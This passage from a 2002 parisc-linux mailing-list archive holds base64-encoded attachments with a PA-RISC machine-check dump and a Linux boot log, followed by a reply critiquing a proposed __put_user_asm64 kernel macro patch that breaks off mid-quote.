dGltZXMgdG8NCiMjIyMjIGdldCBzdXJlIHRoYXQgbm8gY2hhcmFjdGVycyBn
b3QgbG9zdCBkdWUgdG8gbG9uZyBzZXJpYWwgY2FibGUNCg0KDQpNYWluIE1l
bnU6IEVudGVyIGNvbW1hbmQgPiBzZXIgcGltDQoNClBST0NFU1NPUiBQSU0g
SU5GT1JNQVRJT04NCg0KLS0tLS0tLS0tLS0tLS0tLS0gIFByb2Nlc3NvciAw
IEhQTUMgSW5mb3JtYXRpb24gLS0tLS0tLS0tLS0tLS0tLS0tDQoNClRpbWVz
dGFtcCA9ICAgVHVlIE5vdiAgMjYgMDQ6Mzk6NTAgR01UIDIwMDIgICAgKDIw
OjAyOjExOjI2OjA0OjM5OjUwKQ0KDQpIUE1DIENoYXNzaXMgQ29kZXMgPSAw
eGNiZjAgIDB4NTAwNyAgMHg1NDA4ICAweDU1MDggIDB4Y2JmYiAgDQoNCkdl
bmVyYWwgUmVnaXN0ZXJzIDAgLSAzMQ0KMDAtMDMgICAwMDAwMDAwMDAwMDAw
MDAwICAwMDAwMDAwMDAwNmVkY2Q4ICAwMDAwMDAwMDAwMTFjN2NiICAwMDAw
MDAwMDAwNzJhMDM0DQowNC0wNyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAw
MDAwMDAwMDAwMDAgIDAwMDAwMDAwMDA3Mjk3MDAgIDAwMDAwMDAwMDA3Mjlm
ZWMNCjA4LTExICAgMDAwMDAwMDAwMDAwMDA2MyAgMDAwMDAwMDAwMDcyOTFj
MCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDcyYTAzNA0KMTItMTUg
ICAwMDAwMDAwMDAwMDAwMDYzICAwMDAwMDAwMDAwMDAwMWZmICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAxDQoxNi0xOSAgIDAwMDAwMDAw
MDAwMDAwMDEgIDAwMDAwMDAwMDAwMDAwMDEgIDAwMDAwMDAwZmFmMDAxMTQg
IDAwMDAwMDAwMDA2NzM0ZDgNCjIwLTIzICAgMDAwMDAwMDAwMDcyYTkxMCAg
MDAwMDAwMDAwMDExZTNjOCAgMDAwMDAwMDAwMDExZTNhNCAgMDAwMDAwMDAw
MDAwMDAwMA0KMjQtMjcgICAwMDAwMDAwMDAwMDAwMDU0ICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwNzI5NzAwICAwMDAwMDAwMDAwNjczNGQ4DQoy
OC0zMSAgIDAwMDAwMDAwZjYwMDAwNTAgIDAwMDAwMDAwMDAwMDA1MmEgIDAw
MDAwMDAwZmFmMDA2ODAgIDAwMDAwMDAwMDAxMWM3NDMNCg0KDQpDb250cm9s
IFJlZ2lzdGVycyAwIC0gMzENCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAwMCAg
MDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMA0KMDQtMDcgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwDQow
OC0xMSAgIDAwMDAwMDAwMDAwMDA1YjAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwYzAgIDAwMDAwMDAwMDAwMDAwMWUNCjEyLTE1ICAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDEw
NzAwMCAgMDAwMDAwMDBmMDAwMDAwMA0KMTYtMTkgICAwMDAwMDAxMmJiMDdm
MzNmICAwMDAwMDAwMDAwMDAwMmQ4ICAwMDAwMDAwMDAwMTFlM2E3ICAwMDAw
MDAwMDZiYzIzZmQ5DQoyMC0yMyAgIDAwMDAwMDAwYTYyN2ZmZWIgIGMwMDAw
MDAwYzAzMDA2NmMgIDAwMDAwMDAwMDAyYzAxMGYgIDAwMDAwMDAwODAwMDAw
MDANCjI0LTI3ICAgMDAwMDAwMDAwMDJhYjAwMCAgMDAwMDAwMDAxZDMzNTAw
MCAgMDAwMDAwMDBhYWFhYWFhYSAgMDAwMDAwMDAwMDAwMDNkMA0KMjgtMzEg
ICAwMDAwMDAwMGFhYWFhYWFhICAwMDAwMDAwMDExMTExMTExICAwMDAwMDAw
MDJkMzMwMDAwICAwMDAwMDAwMDEwMzMwMDAwDQoNClNwYWNlIFJlZ2lzdGVy
cyAwIC0gNw0KMDAtMDMgICAwMDAwMDJkOCAgICAgICAgICAwMDAwMDJkOCAg
ICAgICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDJkOA0KMDQtMDcgICAw
MDAwMDJkOCAgICAgICAgICAwMDAwMDJkOCAgICAgICAgICAwMDAwMDJkOCAg
ICAgICAgICAwMDAwMDJkOA0KDQpJSUEgU3BhY2UgICAgICAgICAgICAgICAg
ICAgID0gMHgwMDAwMDAwMDAwMDAwMmQ4DQpJSUEgT2Zmc2V0ICAgICAgICAg
ICAgICAgICAgID0gMHgwMDAwMDAwMDAwMTFjN2NiDQpDaGVjayBUeXBlICAg
ICAgICAgICAgICAgICAgID0gMHgyMDAwMDAwMA0KQ1BVIFN0YXRlICAgICAg
ICAgICAgICAgICAgICA9IDB4OWUwMDAwMDQNCkNhY2hlIENoZWNrICAgICAg
ICAgICAgICAgICAgPSAweDAwMDAwMDAwDQpUTEIgQ2hlY2sgICAgICAgICAg
ICAgICAgICAgID0gMHgwMDAwMDAwMA0KQnVzIENoZWNrICAgICAgICAgICAg
ICAgICAgICA9IDB4MDAyMDAwMGMNCkFzc2lzdHMgQ2hlY2sgICAgICAgICAg
ICAgICAgPSAweDAwMDAwMDAwDQpBc3Npc3QgU3RhdGUgICAgICAgICAgICAg
ICAgID0gMHgwMDAwMDAwMA0KUGF0aCBJbmZvICAgICAgICAgICAgICAgICAg
ICA9IDB4MDAwMDAwMDANClN5c3RlbSBSZXNwb25kZXIgQWRkcmVzcyAgICAg
PSAweGZmZmZmZmZmZmZmYTAwMDANClN5c3RlbSBSZXF1ZXN0b3IgQWRkcmVz
cyAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDANCkNoZWNrIFN1bW1hcnkgICAg
ICAgICAgICAgICAgPSAweDgwMDIwMDAwNDAwMDQwMDANCkF2YWlsYWJsZSBN
ZW1vcnkgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDANCkNQVSBE
aWFnbm9zZSBSZWdpc3RlciAyICAgICAgPSAweDA1MDEwMDAwMDAwMDAwMDQN
CkNQVSBTdGF0dXMgUmVnaXN0ZXIgMCAgICAgICAgPSAweDQ0MjBjMjAwMDAw
MDAwMDANCkNQVSBTdGF0dXMgUmVnaXN0ZXIgMSAgICAgICAgPSAweDgwMDIw
MDAwMDAwMDAwMDANClNBREQgTE9HICAgICAgICAgICAgICAgICAgICAgPSAw
eDA4MDAwMDAwMDAwMDAwMDANClJlYWQgU2hvcnQgTE9HICAgICAgICAgICAg
ICAgPSAweGMxMjBmMGZmZjYwMDAwNTQNCg0KTWVtb3J5IEVycm9yIExvZyBJ
bmZvcm1hdGlvbjoNCg0KVGltZXN0YW1wID0gICBUdWUgTm92ICAyNiAwNDoz
OTo1MCBHTVQgMjAwMiAgICAoMjA6MDI6MTE6MjY6MDQ6Mzk6NTApDQoNCiAg
IE5vIG1lbW9yeSBlcnJvcnMgbG9nZ2VkDQoNCg0KSS9PIE1vZHVsZSBFcnJv
ciBMb2cgSW5mb3JtYXRpb246DQoNClRpbWVzdGFtcCA9ICAgVHVlIE5vdiAg
MjYgMDQ6Mzk6NTIgR01UIDIwMDIgICAgKDIwOjAyOjExOjI2OjA0OjM5OjUy
KQ0KDQpCdSAgICAgTW9kdWxlIFR5cGUgICAgICBQYXRoICBTbHQgTWQgU2V2
ICBFc3RhdCBSZXF1ZXN0b3IgIFJlc3BvbmRlcg0KLS0tIC0tLS0tLS0tLS0g
LS0tLS0tLS0tLS0tLS0tLSAtLS0tLS0tLSAtLSAtLSAtLS0tIC0tLS0tIC0t
LS0tLS0tLS0gLS0tLS0tLS0tLQ0KIDAgIDB4ZmZmODgwMDAgSS9PIEFkYXB0
ZXIgICAgICA4ICAgICAgICAgMiAgMCAgaGUgICAweDBkIDB4MDAwMDAwMDAg
MHgwMDAwMDAwMCANCiAxICAweGYyMDNmMDAwIEJ1cyBDb252ZXJ0ZXIgICAg
OC82MyAgICAgMTUgIDMgIHNlICAgMHgwNyAweGZmZmEwODAwIDB4ZjYwMDAw
NTQgDQogMSAgMHhmMjAwMDAwMCBCdXMgQnJpZGdlIChQQ0kpICAgICAgICAg
ICAgICAgICAgICAgIDB4MDkgMHhmZmZhMDAwMCAweDAwMDAwMDAwIA0KDQoN
ClBDSSBFcnJvciBTdW1tYXJ5DQoNCkFuIGVycm9yIHJlbGF0ZWQgdG8gdGhl
IEdTQyBidXMgb2NjdXJyZWQuIFRoZQ0KcHJvY2Vzc29yIHdhcyB0aGUgcmVx
dWVzdG9yLiBJdCBjb3VsZCBoYXZlIGJlZW4NCmEgZGF0YSBwYXJpdHkgZXJy
b3IsIGFuIGFkZHJlc3MgcGFyaXR5IGVycm9yIG9yIGENCkdTQyB0aW1lb3V0
LiBPbiBQQTczMDAgc3lzdGVtcywgY2hlY2sgdGhlIE1JT0MNCkRJT0VSUiBy
ZWdpc3RlciBsaXN0ZWQgYWJvdmUuDQoNCkJ1cyAgICBIUEEgICAgICAgTW9k
dWxlIFR5cGVhdGggIFNsdCBNZCBTZXYgIEVzdGF0IFJlcXVlc3RvciAgUmVz
cG9uZGVyDQotLS0gLS0tLS0tLS0tLSAtLS0tLS0tLS0tLS0tLS0tIC0tLS0t
LS0tIC0tIC0tIC0tLS0gLS0tLS0gLS0tLS0tLS0tLSAtLS0tLS0tLS0tDQog
MCAgMHhmZmY4YTAwMCBJL08gQWRhcHRlciAgICAgIDEwICAgICAgICAyICAy
ICBoZSAgIDB4MGQgMHgwMDAwMDAwMCAweDAwMDAwMDAwIA0KDQo=
---275789367-1253078546-1038325510=:8267
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=X-dmesg2
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0211261545106.8267@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename=X-dmesg2

TGludXggdmVyc2lvbiAyLjQuMjAtcmMxLXBhNyAoeGFtQGJlYXN0LnVjYy5p
ZSkgKGdjYyB2ZXJzaW9uIDMuMC40KSAjMiBUdWUgTm92IDI2IDAyOjQ5OjM4
IEdNVCAyMDAyDQpGUFswXSBlbmFibGVkOiBSZXYgMCBNb2RlbCAxNA0KVGhl
IDMyLWJpdCBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NCkRldGVybWluaW5nIFBE
QyBmaXJtd2FyZSB0eXBlOiBTeXN0ZW0gTWFwLg0KbW9kZWwgMDAwMDU5OTAg
MDAwMDA0ODEgMDAwMDAwMDAgMDAwMDAwMDIgNzdmNzU2MzAgMTAwMDAwZjAg
MDAwMDAwMDggMDAwMDAwYjIgMDAwMDAwYjINCnZlcnMgIDAwMDAwNTAxDQpD
UFVJRCB2ZXJzIDE0IHJldiAyMyAoMHgwMDAwMDFkNykNCmNhcGFiaWxpdGll
cyAweDINCm1vZGVsIDkwMDAvNzgyL0MyNDArDQpUb3RhbCBNZW1vcnk6IDUx
MiBNYg0KcGFnZXRhYmxlX2luaXQNCk9uIG5vZGUgMCB0b3RhbHBhZ2VzOiAx
MzEwNzINCnpvbmUoMCk6IDEzMTA3MiBwYWdlcy4NCnpvbmUoMSk6IDAgcGFn
ZXMuDQp6b25lKDIpOiAwIHBhZ2VzLg0KTEVEIGRpc3BsYXkgYXQgZjAxOTAw
MDEgcmVnaXN0ZXJlZA0KS2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2
L3NkYTQgSE9NRT0vIGlwPW9mZiBjb25zb2xlPXR0eVMwIFRFUk09dnQxMDIg
cGFsb19rZXJuZWw9Mi92bWxpbnV4LTIuNC4yMC1yYzEtcGE3DQpDb25zb2xl
OiBjb2xvdXIgZHVtbXkgZGV2aWNlIDE2MHg2NA0KQ2FsaWJyYXRpbmcgZGVs
YXkgbG9vcC4uLiA0NzAuMjIgQm9nb01JUFMNCk1lbW9yeTogNTE1NTE2ayBh
dmFpbGFibGUNCkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1
NTM2IChvcmRlcjogNywgNTI0Mjg4IGJ5dGVzKQ0KSW5vZGUgY2FjaGUgaGFz
aCB0YWJsZSBlbnRyaWVzOiAzMjc2OCAob3JkZXI6IDYsIDI2MjE0NCBieXRl
cykNCk1vdW50LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogODE5MiAob3Jk
ZXI6IDQsIDY1NTM2IGJ5dGVzKQ0KQnVmZmVyLWNhY2hlIGhhc2ggdGFibGUg
ZW50cmllczogMzI3NjggKG9yZGVyOiA1LCAxMzEwNzIgYnl0ZXMpDQpQYWdl
LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMTMxMDcyIChvcmRlcjogNywg
NTI0Mjg4IGJ5dGVzKQ0KU2VhcmNoaW5nIGZvciBkZXZpY2VzLi4uDQpGb3Vu
ZCBkZXZpY2VzOg0KMS4gVTItSU9BIEJDIFJ1bndheSBQb3J0ICgxMikgYXQg
MHhmZmY4ODAwMCBbOF0sIHZlcnNpb25zIDB4NTgwLCAweGYsIDB4Yg0KMi4g
RGlubyBQQ0kgQnJpZGdlICgxMykgYXQgMHhmMjAwMDAwMCBbOC8wXSwgdmVy
c2lvbnMgMHg2ODAsIDB4MywgMHhhLCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6
IDB4ZjI4MDAwMDAgMHhmNjAwMDAwMCANCjMuIFJhdmVuIFUvTDIgRGlubyBS
Uy0yMzIgKDEwKSBhdCAweGYyMDAzMDAwIFs4LzAvNjNdLCB2ZXJzaW9ucyAw
eDYsIDB4MCwgMHg4Yw0KNC4gUmF2ZW4gVS9MMiBEaW5vIFBTLzIgUG9ydCAo
MTApIGF0IDB4ZjIwMDEwMDAgWzgvMV0sIHZlcnNpb25zIDB4NiwgMHgwLCAw
eDk2DQo1LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBCQSAoMTEpIGF0IDB4
ZmZkMDAwMDAgWzgvMTZdLCB2ZXJzaW9ucyAweDU2LCAweDAsIDB4ODEsICBh
ZGRpdGlvbmFsIGFkZHJlc3NlczogMHhmZmQwYzAwMCAweGZmYzAwMDAwIA0K
Ni4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgQ2VudHJvbmljcyAoMTApIGF0
IDB4ZmZkMDIwMDAgWzgvMTYvMF0sIHZlcnNpb25zIDB4NTYsIDB4MCwgMHg3
NCwgIGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAweGZmZDAxMDAwIDB4ZmZkMDMw
MDAgDQo3LiBSYXZlbisgdyBTRSBGV1NDU1UgQ29yZSBBdWRpbyAoMTApIGF0
IDB4ZmZkMDQwMDAgWzgvMTYvMV0sIHZlcnNpb25zIDB4NTYsIDB4NCwgMHg3
Yg0KOC4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUlMtMjMyICgxMCkgYXQg
MHhmZmQwNTAwMCBbOC8xNi80XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDhj
DQo5LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBTQ1NJICgxMCkgYXQgMHhm
ZmQwNjAwMCBbOC8xNi81XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDgyDQox
MC4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUFMvMiBQb3J0ICgxMCkgYXQg
MHhmZmQwODAwMCBbOC8xNi83XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAweDg0
DQoxMS4gUmF2ZW4rIHcgU0UgRldTQ1NJIENvcmUgUFMvMiBQb3J0ICgxMCkg
YXQgMHhmZmQwODEwMCBbOC8xNi84XSwgdmVyc2lvbnMgMHg1NiwgMHgwLCAw
eDg0DQoxMi4gVTItSU9BIEJDIEdTQysgUG9ydCAoNykgYXQgMHhmMjAzZjAw
MCBbOC82M10sIHZlcnNpb25zIDB4NTAxLCAweDEsIDB4Yw0KMTMuIFUyLUlP
QSBCQyBSdW53YXkgUG9ydCAoMTIpIGF0IDB4ZmZmOGEwMDAgWzEwXSwgdmVy
c2lvbnMgMHg1ODAsIDB4ZiwgMHhiDQoxNC4gQ3VqbyBQQ0kgQnJpZGdlICgx
MykgYXQgMHhmMTAwMDAwMCBbMTAvMF0sIHZlcnNpb25zIDB4NjgyLCAweDEs
IDB4YQ0KMTUuIERpbm8gUlMtMjMyICgxMCkgYXQgMHhmMTAwMzAwMCBbMTAv
M10sIHZlcnNpb25zIDB4NywgMHgwLCAweDhjDQoxNi4gVTItSU9BIEJDIEdT
QysgUG9ydCAoNykgYXQgMHhmMTAzZjAwMCBbMTAvNjNdLCB2ZXJzaW9ucyAw
eDUwMSwgMHgxLCAweGMNCjE3LiBSYXZlbiBVIDI0MCAoOTAwMC83ODAvQzI0
MCkgKDApIGF0IDB4ZmZmYTAwMDAgWzMyXSwgdmVyc2lvbnMgMHg1OTksIDB4
MCwgMHg0DQoxOC4gTWVtb3J5ICgxKSBhdCAweGZmZmIxMDAwIFs0OV0sIHZl
cnNpb25zIDB4NmYsIDB4MCwgMHg5DQpDUFUocyk6IDEgeCBQQTgyMDAgKFBD
WC1VKykgYXQgMjM2LjAwMDAwMCBNSHoNCkZvdW5kIFUyIGF0IDB4ZmZmODgw
MDANCkZvdW5kIFUyIGF0IDB4ZmZmOGEwMDANCkxhc2kgdmVyc2lvbiAwIGF0
IDB4ZmZkMDAwMDAgZm91bmQuDQpEaW5vIHZlcnNpb24gMy4xIGZvdW5kIGF0
IDB4ZjIwMDAwMDANCkN1am8gdmVyc2lvbiAyLjAgZm91bmQgYXQgMHhmMTAw
MDAwMA0KRW5hYmxpbmcgQ3VqbyAyLjAgYnVnIHdvcmthcm91bmQNCkRvbid0
IHJlY29nbmlzZSBDdWpvIGF0IGFkZHJlc3MgMHhmMTAwMDAwMCwgbm90IGVu
YWJsaW5nIHdvcmthcm91bmQNCkN1am86IE5vIFBDSSBkZXZpY2VzIGVuYWJs
ZWQuDQpQT1NJWCBjb25mb3JtYW5jZSB0ZXN0aW5nIGJ5IFVOSUZJWA0KTGlu
dXggTkVUNC4wIGZvciBMaW51eCAyLjQNCkJhc2VkIHVwb24gU3dhbnNlYSBV
bml2ZXJzaXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkNCkluaXRpYWxp
emluZyBSVCBuZXRsaW5rIHNvY2tldA0KU29mdCBwb3dlciBzd2l0Y2ggZW5h
YmxlZCwgcG9sbGluZyBAIDB4ZjAxNDAwMDAuDQpTdGFydGluZyBrc3dhcGQN
ClZGUzogRGlza3F1b3RhcyB2ZXJzaW9uIGRxdW90XzYuNC4wIGluaXRpYWxp
emVkDQpKb3VybmFsbGVkIEJsb2NrIERldmljZSBkcml2ZXIgbG9hZGVkDQpw
YXJwb3J0X2luaXRfY2hpcDogaW5pdGlhbGl6ZSBiaWRpcmVjdGlvbmFsLW1v
ZGUuDQpwYXJwb3J0MDogUEMtc3R5bGUgYXQgMHhmZmQwMjgwMCwgaXJxIDg4
IFtQQ1NQUCxUUklTVEFURV0NCnB0eTogMjU2IFVuaXg5OCBwdHlzIGNvbmZp
Z3VyZWQNClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1LjA1YyAoMjAwMS0wNy0w
OCkgd2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBTRVJJQUxfUENJIGVuYWJs
ZWQNCnR0eVMwMCBhdCBpb21lbSAweGZmZDA1ODAwIChpcnEgPSA5MCkgaXMg
YSAxNjU1MEENCnR0eVMwMSBhdCBpb21lbSAweGYyMDAzODAwIChpcnEgPSAx
MDYpIGlzIGEgMTY1NTBBDQpQUy8yIGtleWJvYXJkIHBvcnQgYXQgMHhmZmQw
ODAwMCAoaXJxIDY5KSBmb3VuZCwgZGV2aWNlIGF0dGFjaGVkLg0KUFMvMiBw
c2F1eCBwb3J0IGF0IDB4ZmZkMDgxMDAgKGlycSA2OSkgZm91bmQsIGRldmlj
ZSBhdHRhY2hlZC4NCmxwMDogdXNpbmcgcGFycG9ydDAgKGludGVycnVwdC1k
cml2ZW4pLg0KR2VuZXJpYyBSVEMgRHJpdmVyIHYxLjAyIDA1LzI3LzE5OTkg
U2FtIENyZWFzZXkgKHNhbW15QG9oLnZlcmlvLmNvbSkNCk5FVDQ6IEZyYW1l
IERpdmVydGVyIDAuNDYNClJBTURJU0sgZHJpdmVyIGluaXRpYWxpemVkOiAx
NiBSQU0gZGlza3Mgb2YgNDA5Nksgc2l6ZSAxMDI0IGJsb2Nrc2l6ZQ0KbG9v
cDogbG9hZGVkIChtYXggOCBkZXZpY2VzKQ0KTGludXggVHVsaXAgZHJpdmVy
IHZlcnNpb24gMC45LjE1LXByZTEyIChBdWcgOSwgMjAwMikNCnR1bGlwMDog
bm8gcGh5IGluZm8sIGFib3J0aW5nIG10YWJsZSBidWlsZA0KdHVsaXAwOiAg
TUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAxMDAwIHN0YXR1cyA3ODJkIGFk
dmVydGlzaW5nIDAxZTEuDQpkaXZlcnQ6IGFsbG9jYXRpbmcgZGl2ZXJ0X2Js
ayBmb3IgZXRoMA0KZXRoMDogRGlnaXRhbCBEUzIxMTQzIFR1bGlwIHJldiA0
OCBhdCAweGYyZmZmMDAwLCAwMDoxMDo4MzowMzoyQzoxQywgSVJRIDk2Lg0K
U0NTSSBzdWJzeXN0ZW0gZHJpdmVyIFJldmlzaW9uOiAxLjAwDQpzeW0uMC4x
OS4wOiBzZXR0aW5nIFBDSV9DT01NQU5EX01BU1RFUi4uLg0Kc3ltMDogPDg3
NT4gcmV2IDB4NCBvbiBwY2kgYnVzIDAgZGV2aWNlIDE5IGZ1bmN0aW9uIDAg
aXJxIDk5DQpzeW0wOiBObyBOVlJBTSwgSUQgNywgRmFzdC0yMCwgU0UsIHBh
cml0eSBjaGVja2luZw0Kc3ltMDogU0NTSSBCVVMgaGFzIGJlZW4gcmVzZXQu
DQpzY3NpMCA6IHN5bS0yLjEuMTdhDQpibGs6IHF1ZXVlIDEwMGFmNzk0LCBJ
L08gbGltaXQgNDA5NU1iIChtYXNrIDB4ZmZmZmZmZmYpDQo1M2M3MDA6IFZl
cnNpb24gMi44IEJ5IEphbWVzLkJvdHRvbWxleUBIYW5zZW5QYXJ0bmVyc2hp
cC5jb20NCnNjc2kxOiA1M2M3MTAgcmV2IDIgDQpzY3NpMSA6IExBU0kgU0NT
SSA1M2M3MDANCiAgVmVuZG9yOiBIUCAgICAgICAgTW9kZWw6IENELVdyaXRl
ciA2MDIwICAgIFJldjogMS4wNw0KICBUeXBlOiAgIENELVJPTSAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMg0K
c2NzaTE6ICg2OjApIFN5bmNocm9ub3VzIGF0IG9mZnNldCA4LCBwZXJpb2Qg
MTAwbnMNCiAgVmVuZG9yOiBTRUFHQVRFICAgTW9kZWw6IFNUMzE4NDE2TiAg
ICAgICAgIFJldjogMDAxMA0KICBUeXBlOiAgIERpcmVjdC1BY2Nlc3MgICAg
ICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMw0Kc2Nz
aTE6ICg2OjEpIFN5bmNocm9ub3VzIGF0IG9mZnNldCA4LCBwZXJpb2QgMTAw
bnMNCkF0dGFjaGVkIHNjc2kgZGlzayBzZGEgYXQgc2NzaTEsIGNoYW5uZWwg
MCwgaWQgNiwgbHVuIDANCnNjc2kxOiAoNjowKSBFbmFibGluZyBUYWcgQ29t
bWFuZCBRdWV1aW5nDQpTQ1NJIGRldmljZSBzZGE6IDM1ODg1MTY4IDUxMi1i
eXRlIGhkd3Igc2VjdG9ycyAoMTgzNzMgTUIpDQpQYXJ0aXRpb24gY2hlY2s6
DQogc2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0DQpORVQ0OiBMaW51eCBUQ1Av
SVAgMS4wIGZvciBORVQ0LjANCklQIFByb3RvY29sczogSUNNUCwgVURQLCBU
Q1AsIElHTVANCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgNDA5
NiBidWNrZXRzLCAzMktieXRlcw0KVENQOiBIYXNoIHRhYmxlcyBjb25maWd1
cmVkIChlc3RhYmxpc2hlZCAzMjc2OCBiaW5kIDY1NTM2KQ0KTGludXggSVAg
bXVsdGljYXN0IHJvdXRlciAwLjA2IHBsdXMgUElNLVNNDQpORVQ0OiBVbml4
IGRvbWFpbiBzb2NrZXRzIDEuMC9TTVAgZm9yIExpbnV4IE5FVDQuMC4NCmtq
b3VybmFsZCBzdGFydGluZy4gIENvbW1pdCBpbnRlcnZhbCA1IHNlY29uZHMN
CkVYVDMtZnM6IG1vdW50ZWQgZmlsZXN5c3RlbSB3aXRoIG9yZGVyZWQgZGF0
YSBtb2RlLg0KVkZTOiBNb3VudGVkIHJvb3QgKGV4dDMgZmlsZXN5c3RlbSkg
cmVhZG9ubHkuDQpGcmVlaW5nIHVudXNlZCBrZXJuZWwgbWVtb3J5OiAxOThr
IGZyZWVkDQpBZGRpbmcgU3dhcDogNDk5NzA0ayBzd2FwLXNwYWNlIChwcmlv
cml0eSAtMSkNCkVYVDMgRlMgMi40LTAuOS4xOSwgMTkgQXVndXN0IDIwMDIg
b24gc2QoOCw0KSwgaW50ZXJuYWwgam91cm5hbA0KTGFzaSBIYXJtb255IEF1
ZGlvIGRyaXZlciBWMC45YSwgaC93IGlkIDIwLCByZXYuIDcgYXQgMHhmZmQw
NDAwMCwgSVJRIDgyDQpram91cm5hbGQgc3RhcnRpbmcuICBDb21taXQgaW50
ZXJ2YWwgNSBzZWNvbmRzDQpFWFQzIEZTIDIuNC0wLjkuMTksIDE5IEF1Z3Vz
dCAyMDAyIG9uIHNkKDgsMiksIGludGVybmFsIGpvdXJuYWwNCkVYVDMtZnM6
IG1vdW50ZWQgZmlsZXN5c3RlbSB3aXRoIG9yZGVyZWQgZGF0YSBtb2RlLg0K
ZXRoMDogU2V0dGluZyBmdWxsLWR1cGxleCBiYXNlZCBvbiBNSUkjMSBsaW5r
IHBhcnRuZXIgY2FwYWJpbGl0eSBvZiA0MWUxLg0K
---275789367-1253078546-1038325510=:8267--


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: uaccess ya patch
Date: Tue, 26 Nov 2002 08:29:38 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20021126162938.GX21187@tausq.org>
References: <3DAAAD46000048D6@ocpmta1.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621972 17747 80.91.229.3 (22 Nov 2014 02:06:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 09:26:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6E534829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 09:26:38 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 83E68CDB18; Tue, 26 Nov 2002 08:29:38 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3DAAAD46000048D6@ocpmta1.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16939

> Much more for info, here is another way I found to implement __put_?_asm64.

Joel, the __*_bad stuff is fine, but why do you want to rewrite the
asm64 functions as macros? you are also not doing it correctly:

> +#define __put_user_asm64(x, ptr)		\
> +	__asm__ __volatile__ (			\
> +		"\n1:\tstw\t%2,0(%%sr3,%1)\n"	\
> +		"2:\tstw\t%R2,4(%%sr3,%1)\n"	\
